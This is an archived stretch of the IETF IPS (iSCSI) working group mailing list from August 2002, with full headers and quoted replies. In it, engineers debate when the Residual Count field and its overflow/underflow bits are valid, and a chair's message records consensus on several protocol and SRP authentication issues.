Technical Editor of FCP-2, he tends to be correct about what FCP-2 requires or intends - I suggest we follow FCP-2, and say that the O/o/U/u bits are valid in all cases (of course, if none of them are set, the Residual Count field is not valid). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, August 01, 2002 3:26 AM To: Santosh Rao Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector Subject: Re: iSCSI: plugfest4 issues Santosh, I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status. SPC says nothing about that either (beyond that the bits set are not necessarily an indication of error). Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 03:44 AM To: IPS Reflector , Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu cc: Robert Snively , T10 Reflector Subject: Re: iSCSI: plugfest4 issues Julian & Robert [Russell], I raised the same query regarding RESID for FCP/FCP-2 this time last year. The response I got for FCP/FCP-2 was that RESID information shall be valid, regardless of the scsi status returned. The RESID field, can be checked by the scsi transport drivers independent of the SCSI STATUS. I have enclosed the T10 response from Rob Snivelly below on that issue. As per FC-PLDA, the RESID information is valid, regardless of the scsi status returned by the device. An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check condition, when the data transfer may have taken place and a CHECK CONDITION is returned. Also, for other CHECK CONDITION status', partial data transfer may have taken place and hence, resid information should be present. It would be good to maintain consistent behaviour across the scsi transports in this regard, since protocol bridging from iscsi to FCP domain would expect RESID information in the FCP domain, regardless of scsi status. This also allows scsi transports to remain free of SCSI command set details. (ex : the scsi transport drivers do not need to parse for CHECK CONDITION or GOO status information.) Thanks, Santosh ------------------------------------------------------------------------- Subject: Re: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 02:52:19 +0300 From: "Julian Satran" To: "Robert D. Russell" CC: ips@ece.cmu.edu Bob, Thanks - some comments in text. Julo "Robert D. Russell" Julian: Four issues came up today at the iSCSI plugfest: 1. A question about whether or not the Residual Count field and the appropriate O and U bits need to be computed on all SCSI Response PDUs, regardless of the values in the Status and/or Response fields. One point of view says that the Residual Count field and the O and U bits appear to be strictly iSCSI values that are derived by the iSCSI target layer from the ExpectedDataTransferLength field of the SCSI Command PDU and the DataSegmentLength fields of the DataIn or DataOut PDUs sent as part of this command. Therefore ,the iSCSI target always computes a Residual Count value without regard to the Status and/or Response fields, since these are SCSI values. The other point of view says that the Residual Count field, and the O and U bits, need only be set when the Status and Response fields indicate that the command was completed at the target with a GOOD Status, and the target does not have to compute or set the Residual Count field and the O or U bits for other values of the Status and/or Response fields. Which is it? In any case, could this be clarified somewhere in the standard, most likely in section 9.4.4. +++ Residual count fields are in fact carrioed over from the SCSI layer. I know that none of the SCSI docs specifies exactly their behavior and it strikes me as a bad idea to have protocols specify them. The values should be valid any time the target decides to put them in. +++ ------------------------------------------------------------------------- Subject: RE: FCP_RSP Residual Checking. Date: Thu, 5 Jul 2001 13:18:42 -0700 From: Robert Snively To: "'Santosh Rao'" , T10 Reflector , Fibre Channel T11 reflector Robert Snively wrote: > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > without the data phase having transferred exactly > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > When the target generates a CHECK CONDITION on an I/O > > and may have returned less than FCP_DL bytes in the data > > phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > The intent is that the answer to your second question is: > FCP_RESID should appropriately regardless of the SCSI Status > being returned. The classic errors of that class are those > involving successful completion with reporting, like > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > What is the behaviour initiators can expect under the above > > condition ? > > The intent is that there be no conflict. I believe that FCP-2 > was a bit less bald than FC-PLDA in stating the requirement. > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, July 05, 2001 12:15 PM > > To: T10 Reflector; Fibre Channel T11 reflector > > Subject: FCP_RSP Residual Checking. > > > > > > All, > > > > I've got a question on target behaviour while sending a > > CHECK CONDITION > > SCSI status in its FCP_RSP IU. > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data > > phase having transferred exactly FCP_DL bytes, regardless of the SCSI > > Status being returned ? > > > > When the target generates a CHECK CONDITION on an I/O and may have > > returned less than FCP_DL bytes in the data phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > > > FC-PLDA Section 8.2.4.1 states that : > > "SCSI targets that transfer less than FCP_DL bytes during > > the FCP_DATA > > IUs shall set the FCP_RESID_UNDER to 1". > > > > No exceptions are specified in the case of a CHECK CONDITION in the > > above definition, implying that FCP_RSP residual checking can be > > performed irrespective of the SCSI Status that was returned in the > > FCP_RSP. > > > > However, the wording descriptions of FCP_RESID_UNDER, > > FCP_RESID_OVER & > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > FC-PLDA and do not > > mandate that FCP_RESID_UNDER shall be set when the data > > transferred is < > > FCP_DL. > > > > What is the behaviour initiators can expect under the above > > condition ? > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Thanks, > > Santosh Rao > > -- Education is when you read the fine print. Experience is what you get if you don't. ------_=_NextPart_001_01C23A77.0F353660 Content-Type: text/html; charset="iso-8859-1"
Julian,
 
Matching FCP's wording resulted in a "go ask the expert" algorithm
for figuring out what is required - we ought to do better, and this
is an iSCSI protocol issue.  What I'm looking for in 9.4 is:
 
- Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked
    by the Initiator when the Response is "Command Completed at Target"
    no matter what the value of the Status field is.
- SCSI permits Residual Counts to be returned for Status values other
    than GOOD; see [SPC2].
 
I believe that both of these are implied by the current text, but since
this caused confusion at the plugfest, we ought to spell it out.
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 02, 2002 1:43 AM
To: Black_David@emc.com
Cc: ips@ece.cmu.edu
Subject: RE: iSCSI: plugfest4 issues


David,

We DO EXACTLY what FCP did  - say nothing.
I went through the document - thetre is no relation mentioned and that is what we do too.

In any case we cannot enforce a SCSI behavior.
The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI.

I also suspect that the trouble may be deeper than we think and I find it much more prudent
to say nothing (again as FCP did).

Julo



Black_David@emc.com

08/01/2002 05:56 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu
        Subject:        RE: iSCSI: plugfest4 issues

       


Julian,
 
I think we need to do something here, as there are clearly
situations in which the residual count is important for commands that
complete with other than good status, making the "other point of
view" reported by Robert Russell incorrect.  Waiting for SPC-3 to
do something to clarify this isn't going to do much for iSCSI
interoperability in the short term.  Since Bob Snively was the
Technical Editor of FCP-2, he tends to be correct about what FCP-2
requires or intends - I suggest we follow FCP-2, and say that the
O/o/U/u bits are valid in all cases (of course, if none of them
are set, the Residual Count field is not valid).
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Thursday, August 01, 2002 3:26 AM
To: Santosh Rao
Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector
Subject: Re: iSCSI: plugfest4 issues


Santosh,

I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond
iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status.
SPC says nothing about that either  (beyond that the bits set are not necessarily an indication of error).

Julo

Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 03:44 AM

       
       To:        IPS Reflector <ips@ece.cmu.edu>, Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu
       cc:        Robert Snively <rsnively@brocade.com>, T10 Reflector <t10@t10.org>
       Subject:        Re: iSCSI: plugfest4 issues

     



Julian & Robert [Russell],

I raised the same query regarding RESID for FCP/FCP-2 this time last
year. The response I got for FCP/FCP-2 was that RESID information shall
be valid, regardless of the scsi status returned. The RESID field, can
be checked by the scsi transport drivers independent of the SCSI STATUS.

I have enclosed the T10 response from Rob Snivelly below on that issue.
As per FC-PLDA, the RESID information is valid, regardless of the scsi
status returned by the device.

An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check
condition, when the data transfer may have taken place and a CHECK
CONDITION is returned. Also, for other CHECK CONDITION status', partial
data transfer may have taken place and hence, resid information should
be present.

It would be good to maintain consistent behaviour across the scsi
transports in this regard, since protocol bridging from iscsi to FCP
domain would expect RESID information in the FCP domain, regardless of
scsi status.

This also allows scsi transports to remain free of SCSI command set
details. (ex : the scsi transport drivers do not need to parse for CHECK
CONDITION or GOO status information.)

Thanks,
Santosh


-------------------------------------------------------------------------

Subject: Re: iSCSI: plugfest4 issues
Date:    Thu, 1 Aug 2002 02:52:19 +0300
From:   "Julian Satran" <Julian_Satran@il.ibm.com>
To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
CC:     ips@ece.cmu.edu

Bob,

Thanks - some comments in text. Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>
                                         
Julian:

Four issues came up today at the iSCSI plugfest:

1. A question about whether or not the Residual Count field and the
appropriate O and U bits need to be computed on all SCSI Response
PDUs, regardless of the values in the Status and/or Response fields.

One point of view says that the Residual Count field and the O and U
bits appear to be strictly iSCSI values that are derived by the
iSCSI target layer from the ExpectedDataTransferLength field of the
SCSI Command PDU and the DataSegmentLength fields of the DataIn or
DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
target always computes a Residual Count value without regard to the
Status and/or Response fields, since these are SCSI values.

The other point of view says that the Residual Count field, and the
O and U bits, need only be set when the Status and Response fields
indicate that the command was completed at the target with a GOOD
Status, and the target does not have to compute or set the Residual
Count field and the O or U bits for other values of the Status and/or
Response fields.

Which is it?  In any case, could this be clarified somewhere in the
standard, most likely in section 9.4.4.

+++ Residual count fields are in fact carrioed over from the SCSI layer.
I know that none of the SCSI docs specifies
exactly their behavior and it strikes me as a bad idea to have protocols
specify them.
The values should be valid any time the target decides to put them in.
+++


-------------------------------------------------------------------------
Subject: RE: FCP_RSP Residual Checking.
Date:    Thu, 5 Jul 2001 13:18:42 -0700
From:    Robert Snively <rsnively@brocade.com>
To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
       T10 Reflector <t10@t10.org>,
       Fibre Channel T11 reflector <fc@network.com>

Robert Snively wrote:
>
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> >  without the data phase having transferred exactly
> >  FCP_DL bytes, regardless of the SCSI Status being returned ?
>
> >  When the target generates a CHECK CONDITION on an I/O
> >  and may have returned less than FCP_DL bytes in the data
> >  phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
>
> The intent is that the answer to your second question is:
> FCP_RESID should appropriately regardless of the SCSI Status
> being returned.  The classic errors of that class are those
> involving successful completion with reporting, like
> the "NO SENSE" and "RECOVERED ERROR" series of errors.
>
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
>
> The intent is that there be no conflict.  I believe that FCP-2
> was a bit less bald than FC-PLDA in stating the requirement.
>
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
>
> Bob Snively                        e-mail:    rsnively@brocade.com
> Brocade Communications Systems     phone:  408 487 8135
> 1745 Technology Drive
> San Jose, CA 95110
>
> >  -----Original Message-----
> >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> >  Sent: Thursday, July 05, 2001 12:15 PM
> >  To: T10 Reflector; Fibre Channel T11 reflector
> >  Subject: FCP_RSP Residual Checking.
> >
> >
> >  All,
> >
> >  I've got a question on target behaviour while sending a
> >  CHECK CONDITION
> >  SCSI status in its FCP_RSP IU.
> >
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data
> >  phase having transferred exactly FCP_DL bytes, regardless of the SCSI
> >  Status being returned ?
> >
> >  When the target generates a CHECK CONDITION on an I/O and may have
> >  returned less than FCP_DL bytes in the data phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
> >
> >  FC-PLDA Section 8.2.4.1 states that :
> >  "SCSI targets that transfer less than FCP_DL bytes during
> >  the FCP_DATA
> >  IUs shall set the FCP_RESID_UNDER to 1".
> >
> >  No exceptions are specified in the case of a CHECK CONDITION in the
> >  above definition, implying that FCP_RSP residual checking can be
> >  performed irrespective of the SCSI Status that was returned in the
> >  FCP_RSP.
> >
> >  However, the wording descriptions of FCP_RESID_UNDER,
> >  FCP_RESID_OVER &
> >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> >  FC-PLDA and do not
> >  mandate that FCP_RESID_UNDER shall be set when the data
> >  transferred is <
> >  FCP_DL.
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
> >  Thanks,
> >  Santosh Rao
> >

--
Education is when you read the fine print.
Experience is what you get if you don't.



------_=_NextPart_001_01C23A77.0F353660-- From owner-ips@ece.cmu.edu Fri Aug 2 19:32:18 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11385 for ; Fri, 2 Aug 2002 19:32:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g72NR4N13903 for ips-outgoing; Fri, 2 Aug 2002 19:27:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g72NR2o13890 for ; Fri, 2 Aug 2002 19:27:02 -0400 (EDT) Received: by MAHO3MSX2 with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Aug 2002 19:26:57 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C169@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: iSCSI consensus calls Date: Fri, 2 Aug 2002 19:26:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Cleaning up some issues to prepare for WG Last Call ... On July 24th, I posted the proposed resolution of issues discussed in Yokohama to the list. Having seen no further list discussion, I believe the rough consensus of the IPS WG is to follow the sense of the discussion in Yokohama, specifically: (1) No support for long-lived discovery sessions. (2) Decimal encoding only for binary items whose values always fit in 64 bits. (3) Must accept at least 8k of text in negotiation. (4) No ErrorRecoveryLevel 0.5. MAY try ERL 1 mechanisms after negotiating ERL 0, but MUST be prepared for them to fail. (5) Remove BidiInitialR2T key. (6) Data resegmentation only via a new R-Data SNACK that always sends a new SCSI Response. SNACK tag associates new response with SNACK. On the other hand, since the use of Irrelevant has caused interoperability problems at the plugfest, I don't think the "just put in examples" direction from Yokohama will suffice - I believe this issue to be open. On SRP, based on the proof of primality of the SRP primes and subsequent discussion, I believe the rough consensus of the IPS WG is: - Negotiate SRP_GROUP instead of announcing the prime and generator. - The largest required group is 1536 bits. - The SRP groups/primes will be used up to 2048 bits, the IKE MODP groups/primes will be used for larger sizes. For the latter, computational efficiency issues have been raised for both the SRP groups (prime format) and the IKE MODP groups (generator != 2 for SRP). I believe this situation does not provide a solid reason to change from the default of using the groups that are commonly used with SRP. Paul Koning's objection to the rough consensus on this item is noted. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Sat Aug 3 02:12:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA28220 for ; Sat, 3 Aug 2002 02:12:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g735aBl26022 for ips-outgoing; Sat, 3 Aug 2002 01:36:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g735a8o26015; Sat, 3 Aug 2002 01:36:08 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g735a22E012542; Sat, 3 Aug 2002 07:36:02 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g735a175084568; Sat, 3 Aug 2002 07:36:02 +0200 To: Black_David@emc.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iSCSI consensus calls X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sat, 3 Aug 2002 08:36:01 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 03/08/2002 08:36:02, Serialize complete at 03/08/2002 08:36:02 Content-Type: multipart/alternative; boundary="=_alternative 001E4AABC2256C0A_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001E4AABC2256C0A_= Content-Type: text/plain; charset="us-ascii" David, For irrelevant we have new wording in the text. I guess the list may want to comment. I did not hear a word not even from the plugfest participants! I did not hear comments on the registry process either. Julo Black_David@emc.com Sent by: owner-ips@ece.cmu.edu 08/03/2002 02:26 AM To: ips@ece.cmu.edu cc: Subject: iSCSI consensus calls Cleaning up some issues to prepare for WG Last Call ... On July 24th, I posted the proposed resolution of issues discussed in Yokohama to the list. Having seen no further list discussion, I believe the rough consensus of the IPS WG is to follow the sense of the discussion in Yokohama, specifically: (1) No support for long-lived discovery sessions. (2) Decimal encoding only for binary items whose values always fit in 64 bits. (3) Must accept at least 8k of text in negotiation. (4) No ErrorRecoveryLevel 0.5. MAY try ERL 1 mechanisms after negotiating ERL 0, but MUST be prepared for them to fail. (5) Remove BidiInitialR2T key. (6) Data resegmentation only via a new R-Data SNACK that always sends a new SCSI Response. SNACK tag associates new response with SNACK. On the other hand, since the use of Irrelevant has caused interoperability problems at the plugfest, I don't think the "just put in examples" direction from Yokohama will suffice - I believe this issue to be open. On SRP, based on the proof of primality of the SRP primes and subsequent discussion, I believe the rough consensus of the IPS WG is: - Negotiate SRP_GROUP instead of announcing the prime and generator. - The largest required group is 1536 bits. - The SRP groups/primes will be used up to 2048 bits, the IKE MODP groups/primes will be used for larger sizes. For the latter, computational efficiency issues have been raised for both the SRP groups (prime format) and the IKE MODP groups (generator != 2 for SRP). I believe this situation does not provide a solid reason to change from the default of using the groups that are commonly used with SRP. Paul Koning's objection to the rough consensus on this item is noted. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- --=_alternative 001E4AABC2256C0A_= Content-Type: text/html; charset="us-ascii"
David,

For irrelevant we have new wording in the text.
I guess the list may want to comment.  I did not hear a word not even from the plugfest participants!
I did not hear comments on the registry process either.  

Julo




Black_David@emc.com
Sent by: owner-ips@ece.cmu.edu

08/03/2002 02:26 AM

       
        To:        ips@ece.cmu.edu
        cc:        
        Subject:        iSCSI consensus calls

       


Cleaning up some issues to prepare for WG Last Call ...

On July 24th, I posted the proposed resolution of issues
discussed in Yokohama to the list.  Having seen no
further list discussion, I believe the rough consensus of
the IPS WG is to follow the sense of the discussion
in Yokohama, specifically:

(1) No support for long-lived discovery sessions.
(2) Decimal encoding only for binary items whose
                values always fit in 64 bits.
(3) Must accept at least 8k of text in negotiation.
(4) No ErrorRecoveryLevel 0.5.  MAY try ERL 1
                mechanisms after negotiating ERL 0, but MUST
                be prepared for them to fail.
(5) Remove BidiInitialR2T key.
(6) Data resegmentation only via a new R-Data
                SNACK that always sends a new SCSI Response.
                SNACK tag associates new response with SNACK.

On the other hand, since the use of Irrelevant has
caused interoperability problems at the plugfest, I don't
think the "just put in examples" direction from Yokohama
will suffice - I believe this issue to be open.

On SRP, based on the proof of primality of the SRP primes
and subsequent discussion, I believe the rough consensus of
the IPS WG is:
                - Negotiate SRP_GROUP instead of announcing the prime
                                 and generator.
                - The largest required group is 1536 bits.
                - The SRP groups/primes will be used up to 2048 bits, the
                                 IKE MODP groups/primes will be used for larger sizes.
For the latter, computational efficiency issues have been raised
for both the SRP groups (prime format) and the IKE MODP groups
(generator != 2 for SRP).  I believe this situation does not
provide a solid reason to change from the default of using the
groups that are commonly used with SRP.  Paul Koning's objection
to the rough consensus on this item is noted.

Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

--=_alternative 001E4AABC2256C0A_=-- From owner-ips@ece.cmu.edu Sat Aug 3 02:16:24 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA28277 for ; Sat, 3 Aug 2002 02:16:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g735Dmo25340 for ips-outgoing; Sat, 3 Aug 2002 01:13:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g735Dko25336 for ; Sat, 3 Aug 2002 01:13:46 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g735Deq6025640; Sat, 3 Aug 2002 07:13:40 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g735Dd75117598; Sat, 3 Aug 2002 07:13:39 +0200 To: Black_David@emc.com Cc: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iSCSI: plugfest4 issues X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sat, 3 Aug 2002 08:13:37 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 03/08/2002 08:13:39, Serialize complete at 03/08/2002 08:13:39 Content-Type: multipart/alternative; boundary="=_alternative 001C4376C2256C0A_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001C4376C2256C0A_= Content-Type: text/plain; charset="us-ascii" David, We are in violent agreement. SPC3 is explicit about counts only when talking about extended copy. The only thing I find objectionable is to tell the initiator when to CHECK (that is a device class/device/driver issue). Some devices for some commands will generate CHECK CONDITION BECAUSE they have a residual count. That is why I would suggest the following text: The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set residual count and initiators may use it when the response code is completed at target. If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred. Julo Black_David@emc.com 08/03/2002 01:50 AM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, Matching FCP's wording resulted in a "go ask the expert" algorithm for figuring out what is required - we ought to do better, and this is an iSCSI protocol issue. What I'm looking for in 9.4 is: - Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked by the Initiator when the Response is "Command Completed at Target" no matter what the value of the Status field is. - SCSI permits Residual Counts to be returned for Status values other than GOOD; see [SPC2]. I believe that both of these are implied by the current text, but since this caused confusion at the plugfest, we ought to spell it out. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 02, 2002 1:43 AM To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues David, We DO EXACTLY what FCP did - say nothing. I went through the document - thetre is no relation mentioned and that is what we do too. In any case we cannot enforce a SCSI behavior. The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI. I also suspect that the trouble may be deeper than we think and I find it much more prudent to say nothing (again as FCP did). Julo Black_David@emc.com 08/01/2002 05:56 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, I think we need to do something here, as there are clearly situations in which the residual count is important for commands that complete with other than good status, making the "other point of view" reported by Robert Russell incorrect. Waiting for SPC-3 to do something to clarify this isn't going to do much for iSCSI interoperability in the short term. Since Bob Snively was the Technical Editor of FCP-2, he tends to be correct about what FCP-2 requires or intends - I suggest we follow FCP-2, and say that the O/o/U/u bits are valid in all cases (of course, if none of them are set, the Residual Count field is not valid). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, August 01, 2002 3:26 AM To: Santosh Rao Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector Subject: Re: iSCSI: plugfest4 issues Santosh, I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status. SPC says nothing about that either (beyond that the bits set are not necessarily an indication of error). Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 03:44 AM To: IPS Reflector , Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu cc: Robert Snively , T10 Reflector Subject: Re: iSCSI: plugfest4 issues Julian & Robert [Russell], I raised the same query regarding RESID for FCP/FCP-2 this time last year. The response I got for FCP/FCP-2 was that RESID information shall be valid, regardless of the scsi status returned. The RESID field, can be checked by the scsi transport drivers independent of the SCSI STATUS. I have enclosed the T10 response from Rob Snivelly below on that issue. As per FC-PLDA, the RESID information is valid, regardless of the scsi status returned by the device. An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check condition, when the data transfer may have taken place and a CHECK CONDITION is returned. Also, for other CHECK CONDITION status', partial data transfer may have taken place and hence, resid information should be present. It would be good to maintain consistent behaviour across the scsi transports in this regard, since protocol bridging from iscsi to FCP domain would expect RESID information in the FCP domain, regardless of scsi status. This also allows scsi transports to remain free of SCSI command set details. (ex : the scsi transport drivers do not need to parse for CHECK CONDITION or GOO status information.) Thanks, Santosh ------------------------------------------------------------------------- Subject: Re: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 02:52:19 +0300 From: "Julian Satran" To: "Robert D. Russell" CC: ips@ece.cmu.edu Bob, Thanks - some comments in text. Julo "Robert D. Russell" Julian: Four issues came up today at the iSCSI plugfest: 1. A question about whether or not the Residual Count field and the appropriate O and U bits need to be computed on all SCSI Response PDUs, regardless of the values in the Status and/or Response fields. One point of view says that the Residual Count field and the O and U bits appear to be strictly iSCSI values that are derived by the iSCSI target layer from the ExpectedDataTransferLength field of the SCSI Command PDU and the DataSegmentLength fields of the DataIn or DataOut PDUs sent as part of this command. Therefore ,the iSCSI target always computes a Residual Count value without regard to the Status and/or Response fields, since these are SCSI values. The 